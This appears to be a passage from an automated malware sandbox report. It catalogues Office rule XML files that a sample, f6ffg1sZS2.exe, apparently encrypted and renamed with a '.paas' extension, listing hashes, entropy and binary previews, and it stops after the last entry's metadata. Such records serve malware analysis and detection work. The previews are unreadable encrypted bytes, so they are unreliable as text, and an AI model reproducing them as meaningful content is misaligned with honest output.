Preview:	<?xml...7l../.0Y..AA..VZ..!...8.l....>S..&.9u.3a.........f...vf8[......a..Q>.2A.RW$.^.0..tY...=`..CY/x{.....D.....6...:...c.....Iw{iln.p.^V{eE:.....h..(.F...5. .T.30.....9F[...)...........L..8.V......d...i....C.5...%.fJ..D...Q..VP?..C.gS>`.....{c..7}.n.0...!...g%/..j!+E..........R.....G......3M\|...S......g&&..FM..?Sm........7..Y4.".s=.8p.+...*..G.K....t..5x..=_e.....@...T....."2ZL.b.....=..}...O#....=Sf.....{..lB......@.CJ.n..1.wc....Db1........S...f.H..=K+PF.\..#`...DN............W.6.bS.a.$x...rG.;n...\.ST.Lo..z..2..b..d.........ey..Ny..s..Q.<.bf.....$....~/...Sf.(],..?s.h..m..v..Si%s..%.m.r...@X=].d....H"(Mg.?........4..1g7...C.R.ag...YT+/a{D....@.\|....fH....k@8%.l..]..\.(.f...ub....cM..l+...Y8c@rWIP.6..X.;./.}..H.+.0}&d..].>....,........b..K.q......;.w......2G..c...b...D......].Lbp.;8...$.$%.b.}.k ...u.2.O...c...pf.;"..F.W..S.(-t. +..>...^,3.##DX..+.F.\...-D7...+3.P`i;.0...&3?S....MZH..(z...it....+....g'.r$..p.T..k.!..Ei..K..D.ra

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.753090665290704
Encrypted:	false
SSDEEP:	12:zw0hSAPXoHx5kSiyd+/LLc0ySPA0Ujv9Ubhcu7zU/5nTR0Cs6fFGS2cii9a:X8AP4HPoO6lySPRHNcu/EnqCs6f8bD
MD5:	208DAA756D33C8EC52EBA2419691C3B3
SHA1:	832ADD600B7BC983E378E39C5A67E3236CDD4989
SHA-256:	E3266D083CA19BA3D7C9B6A5C1932FA1A2BAE179CEEED37674BFAADCF22BC084
SHA-512:	AA5C4D1C005D2F5524D36B5678BB29D5C9AC1893B668F55FE94B2ED3C7A7CDB45097AB6E47EAFF72D62C0796B40F51286F73A9FD76781D20F63FAA1412D52AC1
Malicious:	false
Preview:	<?xmlG.....F..,.F.2.<..R..=.{e,J..R.`<.\S.....;...m...@.l.W...j$\|&..l....kt...M..4...il..F&.(&@jf.T.o.......m......K.mJ...]..\X./...Q...d,....d..3.u.......".Wr.M.%..L1..wR....,"e=xpK.v.)S.h(.2>.Fr.........+"..uV..m.....^...[...Tm....i(w.R.9./_-\|3..2.wE......$..}..W.no.....#........J....%_....w3.tt.....I...E..i...b0.N.w..).@\|.....=.n.C.R....N..&...3y._.R=.).Gc.....>.....Ud.......B.o=@..2H6.L....AK.Z..=y...n.s.".3...............R.!....h.s....%./\|h.qw..(..1.$A{.M.5.....>.9.I..w.b....K..4....f...%.u..3...z..../..~..&...].....g...........2{.p.X.L.>?.......gLAb......k.....0.\|]1.-..u.....{...m......?;c.......8.R....L..N.C.....!~_\K.a.<0.`.........#.^.m. .h.O.P*.....@f..c&(bH.....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.898067054849452
Encrypted:	false
SSDEEP:	48:+1534AzBbPnSR2/UU4ftI1uUd5EPAHutamzc2rHEGPVNYfH9G4aBJ5d47zzSD:GVFbn+bq1V5EcuRo2rHEG69y/n4/z6
MD5:	B32B8780568A4AE518CF03EBCEFA2093
SHA1:	4732037CAB9D77BED08E71DDC98DBC7736B4FB2F
SHA-256:	F91EE1E2357068D1A896407993F70C6545E2AA5517D7D70D353FC61A334919E9
SHA-512:	4D7B753C07A3B538C07BE996811674CCFD4FD5D7B49E277370D7F897B499AC676871CC90B74E374D87789245ACAB3ED3426F6261480BF51583A29C223BC5D92C
Malicious:	false
Preview:	<?xml..DG....+0R.....b...vL....&....tp.s)s.T.?a.L..t.:,...... ..M.ru.N.f.{r9..~.G.t..P.8].g.C...........!...X.......:'..yQ;....p.dg..Ik.V..r.C.j.+..16..c.......n.b..{.c.P.6...?......h.\|:.{6!...0..]".."0..0..c.'`H...3....\|.T.j...d_..?7..C..%.....&.!..-..'..4pX....Th.bV....$.t}.yss....1....J.]H7u.[z..VD../..a.9.}..M...nt=9,.k...B..".5.. .%.TJ.>...* ['....q......m....}i....C..~......w....)...........At...E......8.r.nr.X....{..F.Bb.D.;.d...A...x...n./.....(..MY.>.....X@@....>.h.6....-.hD......T....d...Z.b@.V\.[0..a.@P..@.Z.1...X....D..3.....4,!-....Zf.;C`.....E....B.*F..Z..<..U2L.A..T?.>...@E.W.:8#..7.g......W......Bx..G.u~..G....t...?b.i..m.^[....h..a.8.^.z...I...u...\.@..[\|<....W.2.0.W..j.e...}...._..G..'.xy....#.....8........"s..B.@...9O.P..@.8.h .!(3..3...!9l...{.......g.b.t...Z.0..Y.Q..fC..%......2......#..R.;.o.......T.....N[.-....(......U.TC.8..`$p.O.f.J........p"..S! .o.Y...o..~V..N.g.;.......@R8.o.k.H...dp`....Ct.Y.'M...~.F

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.856497452144859
Encrypted:	false
SSDEEP:	24:BOyNfXqm7lU13UuRR5dfOe13JXqf8QuzP62SpEOWOAWJip+tE52PskO+WMLbD:BOyAm7lU1ky5dfOe1sf8QumNgwSwmTAD
MD5:	0266BB9DE5BB8EB38EB6A970333F0E58
SHA1:	F3D14FC3D3835EB958E565B8EC4E0C418E448A64
SHA-256:	B26816EFC5501FFCB73A06E65FA1419F843A4542C505B586C69347779A5DC5AC
SHA-512:	E4EF03BCBEB952E940F425685ABD39F5AF510B52D16CB0BFFBC4931CD20955A4FB45CA4817ABE6B3B6393B5465786C7EA992D9498E085D3D71363E1F55138B7A
Malicious:	false
Preview:	<?xmll .V...;[..L6R.+Fp.H.P..R..?....xX.rh<E....1.K5.S...\|.Go.WR...X...3.p4xiz.'.5..\|.~A......t_.w<M:..d....._.JX...L.."..V.U@?..1....x.. ..:dk.P.....@.e.F....-0.W"..!..V.%~6.CK.T{..D..jid.Y..!..;..>..R.(l..I~.,....N.O...n;..a....L...n.....e.c...%...yv=g"!G.$b.....c..r..1........-..P...4ZKp........T.Hw.&..jH...J..C.&.Moo.=......@.....v}gF..D..5U....?........Tl.F.y.5.},...0az..-.rEG.G.bT..3x].M9....g......{...i..3....4....0W..]....E..-.v.^.[......>Cx.:..gx.....s./..l....X2..>:uT..>....6........:DD@U$..9G..X.`r.!.v.....uy..,..S...=...d.....(U.F....Oq..)..v..^.4....P....u0%E..D.-3......g..t.....%.G......j..dd......#......s.l[.E.5....q.\..qM.L..$..2.".O.....#}.f...rqT...).s.U.G...A.[+..q9..a).m4.D..gs.6Y...P4.....T..A?....I..=X\|..X....A..u..e#.s.78.y@.j.6~..!.........eB...\|hx.FJXj9..<.myY~$J.$..sK..);`.>........ld.x......I.=..i..Lo..I.....R...S..._ .d;m..o-..B.q.Ht.'. Y...e.h...\}...t..@T...y..@.G-.}.O...[.....H.z..N.>..[.^....sW..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.94026686368891
Encrypted:	false
SSDEEP:	96:hxsbyBma2Ol3NNiqicz5W0CnubDEIg4Z7CFR9RYv:sI5BiczmskHev
MD5:	287A76FEAFB2EC4CEE843F40707E8D4B
SHA1:	67A8DE1EFABB6BCDFB3263BB3CB12D565639E08B
SHA-256:	4FF918A1AEBC304266CD1BD9FCD27D997F5EA841BD5200FB7E2D6C410C70D1BA
SHA-512:	13F5EFAC54E92094F5898C4C0CEC2E9CF31E8CCC223CBAFB2F0E5255E078665350050378E1239C2B3723FE8A1102B0F917B8351C6B2E98FF4488A837FB97B645
Malicious:	false
Preview:	<?xml]..ZX$.. ....,+.r...{)..&_c.Fe....X..9..",.7v..\|y..D>8....f..]Y."K..f#Q..nY...&P...`K'e.dMi<..l./....#\|.Vvw..1...23...Mh...^@o&.\..v...M.......-.>)2Og@AWq."....K..g...s.....U5,..e]Y....%........(m.....VFO9W.F.3....U.@C....pEkPU.)....L.;.....j1....]w.[.j..Ms..0.U.v=.....WW[...;4.WN.'q.65R.s.i...&..@Q.b.~......F..JW.F#@.%.X...........\|...N9... M..@Gq......3,47.4.!.f..._#f_..u../q.l.&T..km.9..V.G..I.D...L.0Q.....X.....Il......HnmG.A.,..e.n.3.W$&....]..`.....h.D..A...Y.b.w...].v.....t.Wwp.0A.N}.N..-Z..n......4.L8....t...T..!.S.9.N.6.j.G.B...^Q2'$.,..n..F.....\| K[82pX>.g$....m......p)..^....x. ......u.F2R$;..J#............B1....M....E4.E.v1.............P.$2N.v..k.X0~.^~...{.Wi.b..88~I".9...<...m..X.qa.,.......K H....X.C.aG....}.0.k[...:v..v......}i........N];.........U'x;.eBGi......VI.."..-2by,Ed....:...w.....(t...3...m.vQ.;.....d...#.O.p'!.....N#-.........i...&.E.2(.~..[..X....D0...G.. P(.(....2(....?G.=...Um..........}e.[.._h.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.909547779583906
Encrypted:	false
SSDEEP:	48:O2liW3qs9m0sX4QiTStHe311zGZL37yp+SOku3Zar84wiI+Kk4D:ZJdSleFNKLrG+SO3ZLwI+Kx
MD5:	7AA218A0ECF33498D573C6F7692E6EE9
SHA1:	F2204B9EEC57C2F52D4FC3C30A78AC010832C2C4
SHA-256:	01D4C51482FDE2D58834FE81751CEC5348E5E63C05584AFFDF91C8858B915151
SHA-512:	1E504F6F40F2E2FA238885EE686BB1744FE3008338E8F25ACFA2727E6A8241928D7D3D3B807A3F013F0FFA2B492116CF8F79F09BFCDBB24D2008F281E827797A
Malicious:	false
Preview:	<?xml..s...g....ZK......v.....U..s.G...9...$l@~8...0..(%....}1.@....]..D.................<...:F.Q.N$x^.m..7i..%qY.......6..x.$..o.......m."N.v...T/..h'..v ...N.k...=..)[\...HDs....w..W..P.8...S4...:3..:.x...D6az;b..8..O....D...3.#5W(.M.[k...A:bE.]?..5....N.LJ=..........$.....9...-vW.C6.+..@..G=w_f....v.`=..C..F......cv.g.:R.o...e..+..L.@[.k..i...74...0..N.I..l.......'.wc...i...A....Y.}Mn. .q$}..(....h.c.....}'m...0.............l.f...<.8.$...T......p.....M.u.d..H.ws....x...0C";w.2x...M....3c....b.i...V.=...\.s.m..ca..B.......U.-.....`...S.Y)..h\.!..].h=S....^F.I._3DAH.!S...Y...V.........S"....o.A[....p...J.Ib.......}..CaEr+l.d.-.M.`X..C..A...Q..t.^4..T...H.,.....~.'....m\|.JO...n.....8R...."..^z...0O.p..0 9W.6k.`.f3.....Q.:.*.n.;.y..vv..p.M....{..Z.\7.....H..02...;..X.......$..KNa..Ot.V.w.\|.E......!.......O.zi^"........q'.T.BH?.7.O.P\...&..._........]..k .J..A.Z........t.l..."..1R9l.Ghu.^....N$ ).eb6...pY......yt.3Zrc....+.....[.{..'.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.975823166622053
Encrypted:	false
SSDEEP:	192:uXi2cvDWILVJ61msHQYgQhwDX5mv+kbO+IMBUS1ZYJtI2:Mi2cDWEJ6wswdmwC+kbTEmCQ2
MD5:	2C2066ED6408D054C4379CFA3616C53B
SHA1:	34BEB4E9C888EE0A5261BCFEDE2CE3FCE3567486
SHA-256:	B90E4748FC9F1B30A0A4E12ECC28FF783070C6EED6F03ED58CD8A630DAD91DC7
SHA-512:	AC361E190F19237CF7F609735A0B7B044CDC05B2F578E39297C43AD74A0D8CFE2807F8CACE0DF1CED60E72F63908E8A353679855F71AD826AC46A6D5F0D06F01
Malicious:	false
Preview:	<?xml..o=.U5'....Sd?v3..T..f1......+.z0.%.E2...T:...".>...-..Z...p.K.e....o...y.%=j...q..../.,.s..1SR-...j.x.i1.P...u~"..j.......D..0]i...;..vsPv.......>..+...($.].....s..t......H.CZ0...)NP..5...h....:.[...=..P..F.X..CYGU...@N..d..lQ....b.K...../Q../T#.j.T...3...l.G5.@k_..n..).......(.lw..BI...Dt.\.ZgL.=.~!..u.H..i.....J.,.e.T.&!.+P..`......v.8G;....k-.%+.#....f\|..x.!,R.L..{.pa}.uD....B\|d......}.2....D.].Y.d.V..C........u.....I....w.V.8Y...,.5.b...U.>...D.&.I.......#.5a..190...x1...K..e.!.8.MT.......xgq9X:...sL...C.......!..NWR.\|..2u.>e....8?N....+..:N.}....'s9.S.=a.........-.........4...(`-.W...~&...[...!......E...o......k...b..$..J+.._.9l.b_..W*....A\|...=.j.</..X.M..(..g.p,..=........Qw.AE.F.B%...<.......2~..?.`...z...i.7\..uZ..5.C.2(..>.\|7._.tA.J./c+.8...Xc.G...Eed.Sf.....]\...........B.h...Cl...<>.$.,..\/.7.F....[..(..bs.0.yu%d,3..A3M]..Gn'...sV......A.k.Vv.....G[N\|S,$a.y..xH...(.o.v...V....{li........%.t./...Wn. .T.qz.r...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.955868521324089
Encrypted:	false
SSDEEP:	96:w4B7RWS0M733VVMMKnJciLhhFv2S4ASRZriCJ2:PRWSflnKniChhJ19Szr1J2
MD5:	B0D06B5DB1543972C4B72E089C093481
SHA1:	CB73848FBD373655738CCACB39EF334B7060E0F0
SHA-256:	0D69E26D73C70044F7991D777DE8910FD29AEC0BDCA11109F93D3689B0EFF003
SHA-512:	3797FF47628676BC0C95E2EAE6CF8DAF0FDC7D52742899151167EDCD8C4E39D9B728339EA32D6D67336DD22AA5AD6BF78B15D3F73EE2CDB2DDC5BDDABED94D27
Malicious:	false
Preview:	<?xml....V..../..SOC.".tv........ .........9..r..U..P.......:;....,..P2F...0.Hj.z1U...&.8.OO.]F....=...V..........M..D...0".J...z...l.../J.Q/......AkC....\|K......@^}..B..U....0V.}.w.b.."..u/..........@...-...yN.T..-t..Z......8.fY.}.YX..\..FN./<-.4w....I....6..>.N#.z........Q.......W..7.....X...+.q1..h..;.....\b.........8e.B3F.(.LQ._.`...)L/.^.'je....Wp\]...K.;...#....`..b..........=s....q......!...%........{..T..n.......'...l....k.V2}\|m....;.V.5..L.>...t...[..4.\..)....U=:....Q8.YP..2...........5.C.t.w.J..1.e..93H...7>.ZD..j..c....n.@.......p.l.....X4P..H.<2N}.1'1...B....F..b...@....eX..8..0..)...Nk...7...jT..u.a...(.9ah....B...r.s<H..-.]........F.J;<]{&..wL.....y...$.K\|~...z.... {w2=..~w&....T.J@.c..1.H6...=h...qLLFt.6.'T....(8..ps....xPx.D.z..Z......G@y,n.E...`...\?.F4.NN..9_.*..,4.ME.{..M5..@.N6..#dA..\|.4....ljT...y.7.........F1.~u;..`......C9...u.b .UP8....Z...W...[...k+.eZ..H...8.sB...R.>.r..Q..G[....!<(..o2..;..@../...S..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.957186605041502
Encrypted:	false
SSDEEP:	96:aiv0dPlPzoNmUANsvA76jysd3rlUHUfFzhjffqN8JFBh7:aicdPlyIyXdxUofquJFBJ
MD5:	5F188CBE0040A51014C559E66592C27A
SHA1:	4E0228D389A79AB572D18CDC0680A1DB1788EB56
SHA-256:	A405D4BEB596FEA56B0C0AAD9C5EDF1971DD04E49512352FC0C4929A48A52CED
SHA-512:	CCDC001D7F03F424B3B0BCAA02F321BE6A2488A55DDEF6CF15591BD1245CD29E7445FBCE5256D73284C5D04029C0B06C9B063752852A1475F46394BEF35353DA
Malicious:	false
Preview:	<?xml.5^.@.v.Al........x/J.vu....,....u..U.L.P.."..6...m......u........T.oR.3..q..>V...R..bs]w...`Y..s.9.%B...G\..=..E.:...3$h....Zq.......E:"qi.h..X..2ozy.#._..F.c.T.@...w.Q:.;d.=...KGLv.N...Q..r..Z21...Fr..+.{.^.....^..mQ......wks....o(.A.6:.P.Q8;W...7...V!@.?.?.....".v..?.Su...G+.a.gp.......(q..'...J.y....T`......-z...8tI\|.$.J.Y./V.....^..@.......~l.o..P!...!`QZ......N....[..>.;H....(.....U.x.>N......q...k..`m.p."..I.N.Z....g.{...3..u>OGR.1<...').m....O8...p@.o..Q<...!.)..."....;..N.#....FM.L..g..u'0.#. .Y.=<M.E;3.r.=0<._..9:!..E[w0.%..5.M.j..C.&.s=...-..yKE..~..uf.o.....nI...!P....V..AKc..`"3Ni.0.......o:...N.o...X..z..,e....\|....FI..f.px......y.............tr$..H7C.Zw].d...M.C....R..QY_D.W..(.P.H..po.......PkEz^=.....o.a..Fxkh5.@g....w....R{.I....1.[..s.16...}....H,\|P...H!..}vx....M.....z.N.9.#B.]x.u....F.Dh.(..cA.....e.7..<..xN..;...LsQCL.>...Y.9L......0....D.,`K4..VP...M^....$s?w"\|.`.O.g.y<Y..$d%..y.y. .'Swe.3..a./g.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.93885420393806
Encrypted:	false
SSDEEP:	48:D5j3/DeEkl+vcwqWk5TQas+/W6OBDfCgdCP7CTm0RccAymYGF2D:9jDeEkl+vcwqWwTQastbggCL011Vx
MD5:	B052AAA275BE5698FEFF46719593E81A
SHA1:	B75B4C7C5034CAD7B2E8DC928FD4E4F33A5C6805
SHA-256:	284CD8C16F4938C9481A78E3BB54EC8268EF0ECE80F257A993AE5B9E785E9EFA
SHA-512:	3FBD3ECA7D3CAD0A9622C91E8780D6C2DE64D1C979F1622EF32F449D62CD6CB2BBA05AA24062231D156C328D85246CA1CF22A789F2A54E26BC96A16FEBD88051
Malicious:	false
Preview:	<?xml.A .LU......hX.%.......R...;JJpvFI...Z#W...[...@.....]......3.....y.....k...M.2;.._5Uf.1R'....J(&xL....q....b.o.\........u.VG..~2~...../2L...{...K...........Lq'...$..>B....z.8.......5.M.5.. .Z..dZ....^/.y>Y....T.-A]g.h!9K...bP\|...3.....(9>..c...W"".D,>...,.<.........Jb....@BJt.t...........h..R..Q.3F5.rf.Sam..wi..=E.b..'.....&.QW..,...u..Zy.../..C...eE....78".'^1..... .+.%..;.L. .]..:.+...c.WK....p.ut.<...o...g.p~....-...OL.9.s9.6...S1.7...^. vC.w.....l..t.,..PD......~-.....&X.[.f._....:..g.A.........kl}...&......Hg...A..d.F.....-Yw.J1...'......m!...y..9$._<>.[...=......r;........o.Ev.%f..l.q.4.....l..I...K......B.K..N.)r.2..A-....g@.El.....1W5cc... .2.sfs.Y...G.a..0.........@.y...k..\|:m..6........:......#.p.T..o....&L.;$..Z.NSW.:......B..MI.n.G..M.../...m..F?.!..........mO..tp....@".....lk..`O.o.\|....l..QE.........k.$..`.........iZ.(.f}....f...._L.m5D..\x..W...'(7.C...b.SA>....X.."%d...{..>..!u....{#..`.'V...YC.gJ...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.9654886572025045
Encrypted:	false
SSDEEP:	96:m0svSCceaDhKZ4tDBn3jVqvrnzXINTywN21/IorYLSTAtBl2aym6VngGh3r74kV2:m0svAVnIz4lywYdIS0tBLymZGNrbVgwU
MD5:	76371627BAE73347560E0A2AE4443476
SHA1:	A3E305D728754C652FB877D0488BA461D001DDD3
SHA-256:	A1ADCF0F1BC8AAC692EB861A88EA4B377373C31F4B28A77904342113E52B93D8
SHA-512:	2788054C9E36243CF87F8372612D9ABFFC245A7CB4400D25E408983C1F6325D5B3B13F9043335A6CC0F89AF55DC28C3B488FEC37A3A64CE7A6B674DD5C45FBA3
Malicious:	false
Preview:	<?xml.]5?...;.B.\g..d..-..N..(.....\....P.l%x..Tj..T...!0oJ.fA..O......%..^...N0=.Di.K.y...$...Pyr..j..f..,..X....~+..LG.Gf.....5e....~l;....<.>i#O........1...W[q4....],.8.'.....WCP.../..3]&...lE.@:......3\.?....5UC)R.=8U.bmr.N.}k....d..Q.........D..>..#x....K&l......&.OVa.2L]D.9.hz.....<K.FA...A.('..........EBS.m..p..x.C:, .h...P`..I`?5..I=. ...JL....,...wv.n".#L.........>..[=IWS[X.^......Yz..`.......^.......2....n.@84..j.[..3.f.nry.c.....0#..].F.E..%DngD...E..9:...bl'...i.G._...G....r.J...~...;.B..E......~w.\...&.f. u{...9...m\|.)~..bk.(U....,..3``qp.[.GY..Ko...]2.....gw.q....%.`@.=..t...R.S'.w..{[.K.u.....[..~........F.G.w.....H.."..q.Zv....P!W...\|.....P8.c..."i.D..T.fc.7...o%&.]..;..'....."^R.i2.N..Is........g..1.{.k.I..EU3..O.1$..V.....?.7H.z=`......?...h={.to.^.y..I.M.......Fk...b.'.M..-.V[m'..qDb#..2Ql..L.A.^.j=2.c.o.-.Ary...q.m.d...c....T.ek...l ..Y......^.F....L........@..N5?...>.AQ....)..^mU~..`.......uy(..I..#8.qh..Im.^aq.../

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.90562520390788
Encrypted:	false
SSDEEP:	48:R4Nybi0wakDIaRMfNaHutn12g2lAApZI3qsRD:rbiE/VaHgn12g2ybq0
MD5:	A21099A50087727C5C9FECC09C8A6791
SHA1:	A395E2DD0F7A779111F5CBEDFB76E601F732FEFA
SHA-256:	126008E29D85DE754DCBED6C959919C5A176FCBA697B4A110D2A6F8E6D83F2C2
SHA-512:	F2FB70BFC11D12B9821C0F8338FF2A85C1941AE4A47A0E8F034BD40C9B64F16B5C05C74029992EA9535F52A27B1B2F954CD5FC7C6433EFFFD8067CD216912402
Malicious:	false
Preview:	<?xml.h..!cf...u....P....=..T[..c...9.:..t......AQ...D..M..WU..Bv...S..0.B.......v......R.~..BM. s..w.5..kh-..FM?Ob.5....z.Lw..p.07G.{FUFM.{P.G\|...y.I...z.........Am.M.@^.;.:A..!i.....ej.0f.f..i.!....... ...^.z.Y.F.v6.....N.....E.i.!.X.J)...3.2./r{...........4.tO#..X6[....w.i2(8(d..T........[W.v.-.H\|.>......+Xpa.......4G_.....\V..."......wn.p..._..;}..6./9.]\|.F...wr.a.0........' ...~.F.!......X...g.h.....f...t.....a\|.....uMh.....<?..U.n..6.l.....^..m.....d.a."....;.wy.....ik3S..t'.f^..?k.5`4L{B.n..+1..;.......U.;np.,.#\#......`ju..[.....q.m..L..q........."K.{...@[..Ua.4..../8b...V..-.....j.T##.o.q...o...RO..3c..:h...Z.!..'...6..}...~A.o=....n..,.Q..N...8O..OY>.*p.L.l..$\|..X...P.~f..T..z."..NylH]q.rO.".....Q...%a....0.Q...m...en..3.-.b.i9.NV..v.E...aiKy..}.u:....L.1.A;r......u...U\|....>_'[..O.._.\|.,.%...P{..ee..:...R;.H;.u..N.d..k..S...oL..1..1....>A fP...#P.x.\.D"P!E#.}..=...9...~....=...gxL...v.$X..m......r..-.B.X.....,...n...u......z[....d.;

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.801652934033006
Encrypted:	false
SSDEEP:	24:l7F7ZxgMPngUee+iw2kEvCTO80gVIDCaNeoCbD:lJwengULdBkENVgVIrNbQD
MD5:	242F04E0B1C23B93DF91777E5737F286
SHA1:	75830213DEB7B8FB1A9C762EE3E3B17419DDCDBB
SHA-256:	8E280135F93BD9207F9267B6D8301250CF164FB67C689B5AB8ED845B00D4E7A1
SHA-512:	A7E7B798CF5BD6FE11392D64E1A0E67F9C10E450B8EFF806FCC79D4D183786C53B2E0D9B418C150E86DAD93824829E0E57191BB962E4B3368EBD0CC20CD245E0
Malicious:	false
Preview:	<?xml(..P..Q?.....M2..NG_. .?...%..4.o.P&..uF~KC.V~..A...%k.2.....n.'>@k.G.s...1.N$......;<..?.s.5.X.........W.rl...I... ....C..D...\|.%...yTv.\|.H.Z.<.eF.................RsZ..e1.F....5..2\|0A..7K..&.8g'.$.FFi.\."B/.\bz....vh0'K...0..S.B..._?IVWK...i?AV..ms..e.......\../Q/.'$f.h...<sk...'....\.S.~..>. L>.A........f....T..^x.........{.{........f....M..Z....s...f..T.....F......U.;^.P...(....u.... .L....K...h..<....[..#.$nl .E...U....w7..NM. I.d...ZD.......u..y... U.(.y..K3l.H..j....o.........n.,....GG..I.....W.. ...9p.........\|.8.Q~...6.,....}:.4.g~...&g(rL.U.....+.X.U...."...Dq.._.Kqw.....^ .mW..6..s.....Q9+..........p..k.b......3...!{.\.5N.....e.....i.U.96O........:.....s.]]......."HG.R,..?.\|n.eI#K..m<..~.....Y?.;zu....A........E\|...........E...N...JTW....59..0.../..v.....)..7!.W......?.s....Rom.S....AB.&..>F.Q.~.R.n~.p..Z.;...Q$.....VC>.\?.f;SW.)...qp.h.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.937201669005755
Encrypted:	false
SSDEEP:	48:6isjj7XatA71TLHqPG0PhybMWbunBa58/63Cxy+c6EA5seeU/9eIU03hKunCOA4D:6rX44MkkBGwI6E2b1q0bp
MD5:	C3FB9912830346622CD0B9FADDB0BCD5
SHA1:	3F8A15868091AFAE3CD957ABD08FEBFC91E73DCC
SHA-256:	9427C4230401C4A71379B5442A9E53FCDA4A9E5CA8697CAC4D04F988C5F002D0
SHA-512:	1154A4617AB0C8E94B11679C459B454D194D1FE77A439C6B334EA0A88B6F15907FD8F4214A816EC1023267331FB0A11C73CC6A2C8A88C1150621AADB1C38325B
Malicious:	false
Preview:	<?xml..a....mW$...#.[F.^}.5..,T.\..Z6o.......@+....J.o..v..f.h.?..-..DP+.c....5.e".&.IU..1.-Y...z...KU].%.H1.. ...i....5_........F..a..v..nR..T^m..o.....s#Y...\l~.TBQ.9.......q.E .4.V~...q.$.....[y...."......E6'.3...i.................t.....&.e2\|.=...}..J\......V.....5....l...80.P..K.4.(....O...I...:mHZ...D&>..g..<...VeVs..._z...!)..UeX@......s.Y:.`S......b.W..@...a..k\...#5..^o....5.%..h.Q3l.N...A.....Q...g?k.......S.Z..-....x..}...x.Kp...0f..6...53......+b...u6v......x..9r.8.:.I.j$._....h..y.zg.......3du.Z...2...M9)...d.L.s..xBf.Z..J....5Q..\|p..X.>+n..T(.G.P...:..2..nF..s..!o.L}.Ai.....,x...x...K.6s.....R.y...aD.R.g...}.....X..e..2zId>r.........m0..@@r}.\|................D.Z..,. <U.C.)..-.}..3..T..S.b...+~Y.=o.....W.3.C..2...M."..s...m..:..7....e.&i.O...3..wUE@.v..j.]..Z.O.....(..I.Q.l.K..a.........../d.\u..mG.j.{.MGaP..Dpl&......Qx ............Q\.....;.\....@....n,..O,n.....p..R..{<.H....S3.y.[.t..9w[z.@...X?-...+...{.....im..OD.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.981368869274658
Encrypted:	false
SSDEEP:	192:jPRSk6yT7TWNAU9UvKpOdMmvdZIIkvX5pHBMPY2VDbAhhkux1w21O8qKeM6dVrYv:9Sk7TW5UBMSdZIIkvX5phMA2VDbAhhku
MD5:	A25AA48296C3E18DCAE215764C148368
SHA1:	BB05898C5B2EBC2FC1C620C2062D16B28C976CE2
SHA-256:	34CD98DA062A37836839BEC95540A8E592031BFDDE7A28DF191869515E466BAA
SHA-512:	594F820C4751064B9917F6311184B12D463278AF3061E7D2BE8052254B2137E40803E8B8015C4EBF1264982EB5418909CE265FDF2E027FDD9343B8D74C16BFB8
Malicious:	false
